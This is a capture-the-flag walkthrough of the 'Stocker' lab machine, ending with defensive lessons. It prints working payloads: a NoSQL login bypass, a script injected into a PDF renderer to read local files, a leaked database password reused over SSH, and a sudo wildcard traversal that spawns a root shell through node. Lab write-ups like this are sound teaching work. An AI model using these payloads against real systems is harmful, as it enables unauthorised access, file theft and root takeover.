Stocker

Overview

Stocker is the box I’d hand someone as a case study in what happens when a modern JavaScript stack trusts a little too much of what the client sends it. Four separate weaknesses chain together here, and what struck me as I worked through them is that none of them are exotic: every one is something I’ve genuinely seen bleed into production code. I started by treating the login flow as an ordinary Node/Express app and reached for NoSQL injection almost immediately, since Mongo queries are built from JSON objects rather than parameterized strings, and this app was passing req.body straight into findOne without coercing anything to a primitive type first. From there the box handed me a much more interesting escalation: a “print my receipt” feature that renders customer-controlled text into an HTML document, which a headless Chromium instance then turns into a PDF. Because that HTML was never sanitized, I could plant a <script> tag that executed with the renderer’s full browser context, including the ability to follow file:// and http:// URIs. That’s server-side XSS with a far scarier blast radius than the client-side kind, and it gave me arbitrary local file read on the box. Pulling the application source off disk turned up a MongoDB connection string with a plaintext password baked in, and that password turned out to be reused verbatim as the SSH password for the angoose account, a shortcut I still see constantly on real engagements. The path to root closed the loop nicely: a sudo rule let angoose run node against anything matching /usr/local/scripts/*.js, a wildcard the shell expands before sudo ever validates the result, so a directory-traversal payload slid straight past the intended restriction and let me execute arbitrary JavaScript as root.

Related NoSQLi boxes: Mentor is not in this vault, but see Cactus. Related PDF/SSRF: Bagel, Interface. Related sudo wildcard / script abuse: Bagel, Forge, Headless, Code.

Full Walkthrough

Nmap scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!

With only SSH and HTTP exposed, I pointed a browser at the site and got nothing more than a static “coming soon” placeholder generated by Eleventy, which told me there had to be more application hiding somewhere I hadn’t looked yet. My instinct on HTB boxes with a hostname like this is that the real app usually lives behind a subdomain that a plain directory scan against the root domain would never surface, so I ran a virtual host sweep instead:

ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -c \
  -u http://stocker.htb -H "Host: FUZZ.stocker.htb" --mc all --fs 178

dev                     [Status: 302, Size: 28, Words: 4, Lines: 1]

NoSQL authentication bypass

The sweep turned up dev, and adding it to /etc/hosts and browsing there landed me on a login portal. The response headers gave away X-Powered-By: Express, which confirmed a Node backend immediately and shifted my thinking away from classic SQL injection toward its NoSQL cousin, since Mongo queries are constructed from objects rather than concatenated SQL strings. I pulled a handful of the standard operator-injection payloads from PayloadsAllTheThings and tried the most common one against the login endpoint. It worked on the very first attempt.

POST /login HTTP/1.1
Host: dev.stocker.htb
Content-Type: application/json

{"username": {"$ne": null}, "password": {"$ne": null}}

HTTP/1.1 302 Found
Location: /stock

HTML injection in the PDF receipt to file read

Logged in with my improvised admin account, I started poking at the /stock page, which lets you assemble a basket of items and submit it with POST /api/order. That call hands back an orderId, and requesting GET /api/po/<orderId> renders the corresponding order into a PDF receipt. My working assumption was that anything reflected into that PDF was probably built from raw HTML on the server side, so I checked how the basket items made it into the document and found that the title field of each item gets dropped straight into the markup with no escaping at all:

{"basket":[{"_id":"638f116eeb060210cbd83a8f",
  "title":"<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/hosts');x.send();</script>",
  "price":76,"amount":1}]}

Once I placed that order and pulled up the resulting receipt, the PDF had /etc/hosts printed directly onto the page, confirming that my injected script had executed inside whatever engine was turning that HTML into a document, and had successfully reached out and read a file off the server’s own filesystem.

With arbitrary file read confirmed, my next move was pinning down exactly where the application lived on disk so I could pull its source rather than guess at paths. Sending a deliberately malformed JSON body to the order endpoint triggered an unhandled exception, and the resulting stack trace obligingly leaked the application root, /var/www/dev. With that path in hand, I reused the same file:// primitive to read the entry point directly:

file:///var/www/dev/index.js

const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
// ... app.post("/login", ... User.findOne({ username, password }) ... )   // no hashing, confirms the $ne bypass

Password reuse to angoose

The source dump handed me a hardcoded MongoDB connection string, and the password inside it, IHeardPassphrasesArePrettySecure, was distinctive enough that I doubted it was used in only one place. Password reuse between a database account and a real shell account is one of the first things I test whenever a credential like this falls into my lap, so I tried it straight against SSH for the only non-root user referenced anywhere on the box:

ssh angoose@stocker.htb        # IHeardPassphrasesArePrettySecure

Privilege Escalation, sudo wildcard traversal

Once I had an interactive shell as angoose, the first thing I checked, as always, was what that account could run with elevated privileges:

angoose@stocker:~$ sudo -l
User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

That rule lets angoose execute any .js file under /usr/local/scripts as root through node. The directory itself is locked down, so I couldn’t just drop a malicious script in there directly, but the rule as written doesn’t anchor the path the way its author almost certainly assumed it would.

Exploiting it was just a matter of dropping a one-liner that spawns an interactive root shell directly, then invoking node on it through a traversal path that still satisfies the glob:

echo 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})' > /home/angoose/pwn.js
sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/pwn.js
# id -> uid=0
cat /root/root.txt

That dropped me straight into a root shell, id confirmed uid=0, and root.txt was sitting there waiting.

Loot

Lessons and Takeaways

Working through Stocker reinforced a handful of lessons I keep relearning on boxes like this one:

• Cast every authentication input to a string, and validate the request body against a strict schema. The moment a framework lets a client submit a JSON object where a scalar was expected, an object like {"$ne": null} stops being test data and becomes a working exploit against findOne. This isn’t Mongo-specific either; any query builder or ORM that accepts loosely-typed client input is vulnerable to the same confusion.
• Hash passwords, always, even in a dev environment. Finding findOne({username, password}) comparing plaintext values was its own finding independent of the NoSQL injection: it told me the moment I read the source that credentials on this box were never meant to survive a compromise.
• Treat anything that reaches a PDF or HTML renderer as untrusted input, and lock the renderer down at the infrastructure level too: disable local file access where the library supports it, strip JavaScript execution if the use case allows it, and run the rendering process with no outbound network access so a file:// or http:// payload has nowhere to reach even if sanitization fails somewhere upstream.
• Anchor every sudo command path completely, and never trust a trailing wildcard to constrain anything. A rule ending in *.js with no protection against directory traversal is a path traversal waiting to be used; prefer an exact, fully-qualified path, or wrap the target in a wrapper script that validates its own argument before doing anything privileged.
• Never let a database credential double as the login password for a real account. It’s a shortcut I still see in production systems, and it’s exactly the kind of lateral movement that turns one leaked config file into a full user compromise.

Related Writeups

• NoSQL injection / auth bypass: Cactus
• PDF / HTML injection to SSRF or LFI: Bagel, Interface
• sudo wildcard or script abuse: Bagel, Forge, Headless, Code
• Config file secret then password reuse: Previse, TwoMillion

References

• PayloadsAllTheThings, NoSQL Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
• SSRF to local file read via HTML injection in PDF (Namratha G M) https://namratha-gm.medium.com/ssrf-to-local-file-read-through-html-injection-in-pdf-file-53711847cb2f
• sudo wildcard risks https://www.hackingarticles.in/linux-privilege-escalation-using-sudo-rights/